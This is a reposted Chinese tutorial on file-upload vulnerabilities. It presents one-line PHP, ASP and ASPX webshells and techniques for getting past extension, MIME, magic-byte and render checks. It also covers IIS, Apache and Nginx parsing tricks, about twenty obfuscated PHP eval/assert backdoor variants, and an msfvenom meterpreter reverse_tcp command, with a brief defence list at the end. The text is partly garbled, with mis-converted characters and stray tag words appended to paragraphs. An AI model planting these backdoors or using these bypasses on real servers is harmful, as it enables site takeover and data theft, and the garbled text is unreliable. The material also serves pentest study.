'文件上傳總結'

1. WebShellphp

1.1 什麼是Shell

Shell是系統的用戶界面,提供了用戶與內核進行交互操做的一種接口。它接收用戶輸入的命令並把它送入內核去執行。由於系統內核使咱們不能直接操做的,shell就給咱們提供了一個接口,經過shell咱們能夠把命令送入到內核。shell管理用戶與操做系統之間的交互:等待你輸入,向操做系統解釋你的輸入,而且處理各類各樣的操做系統的輸出結果。
傳統意義上的shell指的是命令行式的shell,之後若是不特別註明,shell是指命令行式的shell。
表示用戶擁有的權限,不一樣的shell權限不一樣html

1.2 WebShell

黑客在入侵了一個網站後,一般會留下一個asp或php後門文件與網站web服務器進行交互,獲得一個命令執行環境,以達到控制網站服務器的目的。這個後門文件就是所謂的webshell。python

2. 木馬分類

2.1 一句話木馬

一句話木馬是Webshell的一種,因爲這類Webshell代碼比較少,每每只有一行代碼,因此就被稱爲一句話木馬。
一句話木馬雖然代碼簡單,可是結合中國菜刀、蟻劍等WebShell管理工具,它們的功能倒是很是的強大。git

2.1.1 一句話木馬工做原理

在PHP、ASP、ASPX中都有能夠執行外部程序的函數,一句話木馬就是經過這些函數來工做的,由頁面傳輸待執行的命令,函數在遠程執行命令。github

PHP一句話木馬

Copy
1
<?php eval($_POST['cmd']);?>

ASP一句話木馬

Copy
1
<% eval request('cmd')%>

ASPX一句話木馬

Copy
1
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"])%>

2.1.2 特色

代碼量少,體積小,不易被發現,配合WebShell管理工具功能強大。web

2.2 小馬

2.2.1 特色

代碼量較少,體積較小,基本功能(文件管理、命令執行、數據庫管理)都有shell

2.3 大馬

2.2.1 特色

代碼量多,體積大,易被發現,功能多數據庫

3. 修改Apache權限

WebShell的權限和Apache權限有關,能夠經過限制Apache權限下降WebShell的權限。編程

3.1 Windows

爲Apache添加用戶windows

Copy
1
net user Apache password /add

打開服務管理

找到Apache-屬性-登陸-此帳戶

登陸Apache用戶

3.2 Linux

不使用源碼安裝Apache就是最低權限

4. 文件上傳

4.1 文件上傳原理

在文件上傳的功能處,若服務端腳本語言未對上傳的文件進行嚴格驗證和過濾,致使惡意用戶上傳惡意的腳本文件時,就有可能獲取執行服務端命令的能力,這就是文件上傳漏洞。

文件上傳漏洞對Web應用來講是一種很是嚴重的漏洞。通常狀況下,Web應用都會容許用戶上傳一些文件,如頭像、附件等信息,若是Web應用沒有對用戶上傳的文件進行有效的檢查過濾,那麼惡意用戶就會上傳一句話木馬等Webshell,從而達到控制Web網站的目的。

4.1.1 文件上傳漏洞高危觸發點

相冊、頭像上傳
視頻、照片分享
附件上傳
文件管理器

4.2 文件上傳檢測

4.2.1 JavaScript檢測

檢測文件後綴名
繞過方式:
1.關閉JS解析
2.在白名單中加上要上傳的文件類型
3.破壞JS
4.攔截數據包修改文件名

upload-labs第1關

4.2.2 MIME檢測

檢測content-type
繞過方式:
抓包修改content-type image/png image/jpeg image/bmp

4.2.3 擴展名檢測

4.2.3.1 使用黑名單檢測:

{php|php3|php4|asp|html|jsp}

4.2.3.2 繞過方式:

4.2.3.2.1 找一種不在黑名單中的,能夠被正常解析的文件後綴名
4.2.3.2.2 後綴名大小寫
4.2.3.2.3 利用windows特性繞過檢測:
4.2.3.2.3.1 Windows+PHP 疊加特性(upload-labs第4關)
Copy
1
2
3
4
5
" = .

\> = ?

\< = *

第一步操做能夠向服務器中寫一個0字節的文件

Copy
1
test.php:.jpg

第二步上傳時,修改文件名爲test.>>>或test.<

4.2.3.2.3.2 Windows文件名特性(upload-labs第6,7,9關)

點或者空格結尾的文件再保存的時候,點和空格會被刪除
shell.php.(空格)或shell.php (空格)

4.2.3.2.3.3 Windows文件流(NTFS)特性(upload-labs第8關)

4.2.3.2.4 使用00截斷 (PHP版本)

php版本要小於5.3.4,5.3.4及以上已經修復該問題;
magic_quotes_gpc須要爲OFF狀態,在PHP.ini中修改

4.2.3.2.4.1 path經過GET方式傳輸(upload-lab第11關)

抓包
修改URL,在末尾加上能夠解析的擴展名和%00進行截斷

4.2.3.2.4.2 path經過POST方式傳輸(upload-lab第12關)

抓包-在保存路徑後添加能夠解析的擴展名並使用%00進行截斷,要將%00選中Ctrl+Shift+U轉爲十六進制。

4.2.3.2.5 經過修改解析規則繞過黑名單檢測

建立.htaccess文件

Copy
1
2
3
<FilesMatch "test.io">
SetHandler application/x-httpd-php
</FilesMatch>

上傳.htaccess文件,再上傳test.io,test.io被解析爲php

4.2.4 文件內容檢測(文件頭或魔術頭)(upload-labs第13關)

格式 文件頭
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
Windows Bitmap (bmp) 42 4D
TIFF (tif) 49 49 2A 00
CAD (dwg) 41 43 31 30
Adobe Photoshop (psd) 38425053
Rich Text Format (rtf) 7B5C727466
MS Word/Excel (xls.or.doc) D0CF11E0
MS Access (mdb) 5374616E64617264204A
ZIP Archive (zip) 504B0304
RAR Archive (rar) 52617221
Wave (wav) 57415645
AVI (avi) 41564920
Real Media (rm) 2E524D46
MPEG (mpg) 000001BA
MPEG (mpg) 000001B3
Quicktime (mov) 6D6F6F76
Adobe Acrobat (pdf) 255044462D312E
Windows Media (asf) 3026B2758E66CF11
MIDI (mid) 4D546864

生成圖片木馬

Copy
1
copy test.jpg/b+test.php/a shell.jpg

使用edjpgcom.exe

將圖片拖拽到.exe上

須要和其餘漏洞(解析漏洞、文件包含)結合使用

4.2.5 文件渲染檢測

調用API 或函數去進行文件加載測試常見的是圖像渲染測試,再變態點的甚至是進行二次渲染(後面會提到) 對文件加載檢測的攻擊通常就兩種方式,一個是渲染測試繞過,另外一個是攻擊文件加載器自身。

4.2.5.1 渲染測試繞過

先用 GIMP 對一張圖片進行代碼注入 用 winhex 看數據能夠分析出這類工具的原理是 在不破壞文件自己的渲染狀況下找一個空白區進行填充代碼 通常是圖片的註釋區

upload-labs第16關

4.2.5.2 攻擊文件加載器

二次渲染基本上無法繞過,只能對文件加載器進行攻擊
二次渲染至關因而把本來屬於圖像數據的部分選取出來,再用API 或函數進行從新渲染,在這個過程當中非圖像數據的部分直接就隔離開了

對文件加載器進行攻擊,常見的就是溢出攻擊,上傳惡意文件後,服務上的文件加載器進行加載測試時,被觸發攻擊執行shellcode好比 access/mdb 溢出(Microsoft Jet Engine MDB File溢出的漏洞,該漏洞是因爲access在加載mdb文件時,處理不當,產生的shellcode執行,參考連接:https://blog.csdn.net/kendyhj9999/article/details/18738435)

Magic image

4.2.6 條件競爭

線程編程中,爲了保證數據操做的一致性,操做系統引入了鎖機制,用於保證臨界區代碼的安全。經過鎖機制,可以保證在多核多線程環境中,在某一個時間點上,只能有一個線程進入臨界區代碼,從而保證臨界區中操做數據的一致性。

臨界區指的是一個訪問共用資源(例如:共用設備或是共用存儲器)的程序片斷,而這些共用資源又沒法同時被多個線程訪問的特性。

競爭條件發生在多個線程同時訪問同一個共享代碼、變量、文件等沒有進行鎖操做或者同步操做的場景中。

upload-labs第17關

4.2.7 寫提交按鈕

有些上傳頁面沒有提交按鈕,能夠用HTML編輯From表單,添加提交按鈕

5. 解析漏洞

5.1 IIS

5.1.1 版本:5.x-6.x

目錄解析漏洞:以asp/asa等結尾的目錄,其目錄下的文件都可被解析

文件名解析漏洞:以.asp/asa;*.png或;*.jpg結尾的文件都可被解析

IIS應用層漏洞:以asa、cer、cdx結尾的文件都可被解析

5.1.2 版本:7.5(配置不當引發)

在當前文件中,有IIS可以解析的擴展名(asp/aspx),這個文件可被解析

a.aspx.a

a.aspx.jpg.jpg…jpg

5.1.3 版本:IIS 7.0/IIS 7.5

在默認Fast-CGI開啓情況下,上傳一個名字爲wooyun.jpg,內容爲

Copy
1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,而後訪問wooyun.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php

x.asp%00.jpg

5.1.4 IIS PUT寫入漏洞

服務器配置不當形成,由於開啓Webdav,使應用程序可直接對Web Server進行讀寫,同時IIS中又配置目錄可寫,便產生很嚴重的問題。

5.2 Apache

5.2.1 文件名移位解析

原理:Apache在解析文件過程當中,從右向左開始判斷後綴名,遇到不認識的後綴名,會向左移動一位再作判斷

test.php.php123.cdd

先解析.cdd不認識,再解析.php123,再解析php

服務器自己的漏洞

5.2.2 文件名中包含PHP就會解析(配置不當)

再配置文件中添加一行配置:

Copy
1
AddHander php5-script .php

test2.php.jpg

5.2.3 添加擴展名(配置不當)

Copy
1
AddType application/x-httpd-php .jpg

即便是.jpg文件也能被解析

5.3 Nginx

5.3.1 版本<8.0.3 畸形解析漏洞

在默認Fast-CGI開啓情況下,上傳一個名字爲wooyun.jpg,內容爲

Copy
1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,而後訪問wooyun.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php

5.3.2 版本<8.0.3 空字節代碼執行漏洞

上傳文件是圖片木馬,在訪問時,URL中圖片後綴名後面加上%00.php能夠正常解析

xxx.jpg%00.php

5.3.3 fix_pathinfo(配置不當)

在配置文件中設置fix_pathinfo這個參數(開啓,並設置相應的值),服務器中就會出現各類解析漏洞(CGI解析漏洞)

Copy
1
2
3
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/%20\1.php

6. Getshell條件

6.1 木馬可上傳

可直接解析的後綴名、圖片木馬

6.2 木馬可解析

後綴名可直接解析,知道文件的路徑

圖片木馬 結合其餘漏洞(解析漏洞或文件包含),知道文件路徑

6.3 木馬可訪問

文件路徑獲取方法:

上傳正常圖片,而且顯示該圖片,直接看圖片路徑
掃目錄
信息泄露--列目錄

7.一句話木馬變形

7.1 使用字符串隱藏assert、eval等函數

Copy
1
$a =str_replace("x","",」axsxxsxexrxxt」);$a($_POST[「code」]);

用字符串隱藏assert方法,而且利用它加上動態傳入參數的方式構造後門。

7.2 將函數和執行命令都做爲請求參數

Copy
1
2
3
$_GET[‘a’]($_GET[‘b’]);
?a=assert&b=phpinfo();
徹底利用動態參數傳入的方式構造後門,將敏感函數和執行的命令動態傳入,效果如變形二。

7.3 preg_replace函數

Copy
1
2
($code = $_POST[‘code’]) && 
@preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);

7.4 自定義函數

Copy
1
2
3
4
$fun=creat_function('',$_POST['a']);
$fun();

a=phpinfo();

7.5 回調函數 call_user_func()

Copy
1
@call_user_func(assert,$_POST['a']);

7.6 file_put_contents函數

Copy
1
2
3
4
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell.php", $test);
?>

7.7 PHP變量函數

Copy
1
2
3
4
<?php 
$a = "eval";
$a(@$_POST['a']);
?>

7.8 PHP可變變量

Copy
1
2
3
4
5
<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>

7.9 str_replace函數

Copy
1
2
3
4
<?php
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['a']);
?>

7.10 base64_decode函數

Copy
1
2
3
4
5
base64_decode函數
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

7.11 .操做符

Copy
1
2
3
4
5
6
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

7.12 parse_str函數,將查詢字符串解析到變量中

Copy
1
2
3
4
5
6
<?php
$str="a=eval";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>

7.13 array_filter函數,用回調函數過濾數組中的元素

Copy
1
2
3
$e=$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

eval不能回調,assert能夠

使用菜刀鏈接

\e=assert\

7.14 array_map函數

將函數做用到數組中的每一個值上,作相應的處理,並返回帶有新值的數組:

Copy
1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

7.15 uasort函數

使用自定義的比較函數對數組$arr中的元素按鍵值進行排序

Copy
1
2
3
$e=$_REQUEST['e'];
$arr=array('test',$_REQUEST['pass']);
uasort($arr,$e);

PHP版本>5.4

7.16 加密類變形

Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));




eval($_POST["cmd"])




http://www.target.com/shell.php cmd
content=JF9QT1NUWyJjbWQiXQ==
com=123

7.17 變量拼接類變形

Copy
1
2
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

7.18 加密拼接

Copy
1
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
//解碼後即==> eval($_POST[x]);
?>

7.19 MSF生成網頁木馬

1.生成木馬

Copy
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.126.126 lport=12600 -f raw >./shell.php
Copy
1
2
3
4
5
set payload php/meterpreter/reverse_tcp
show options
set lhost
set lport
exploit -j

7.20 Weevely生成網頁木馬

Copy
1
python weevely.py generate password path

終端

Copy
1
python weevely.py url password

8. 文件上傳防護

1.使用白名單限制上傳類型
黑名單可使用各類方法進行繞過

2.使用最新版本的IIS、Apache、Nginx

3.對上傳文件名進行改寫

4.檢查HTTP Header中的Content-Type、檢查文件上傳路徑

5.分析文件頭和文件尾

6.對圖片進行渲染,最好二次渲染,並對API和函數進行加固,防止溢出

7.設置文件夾權限
根據需求將文件上傳的目錄設置爲不可執行

8.儘量讓上傳的文件的路徑不可知,將路徑保存到數據庫中,在須要的時候再進行讀取

9.限制上傳文件的大小

10.單獨設置文件服務器的域名

9. 參考

[1] Web條件競爭

[2] 解析漏洞整理

[3] 文件上傳漏洞是什麼?要怎樣防護文件上傳的漏洞攻擊?

轉載:https://chirec.github.io/2019/04/19/Upload-Files/


之後你走你的成華大道,我走個人二仙橋。

相關文章
相關標籤/搜索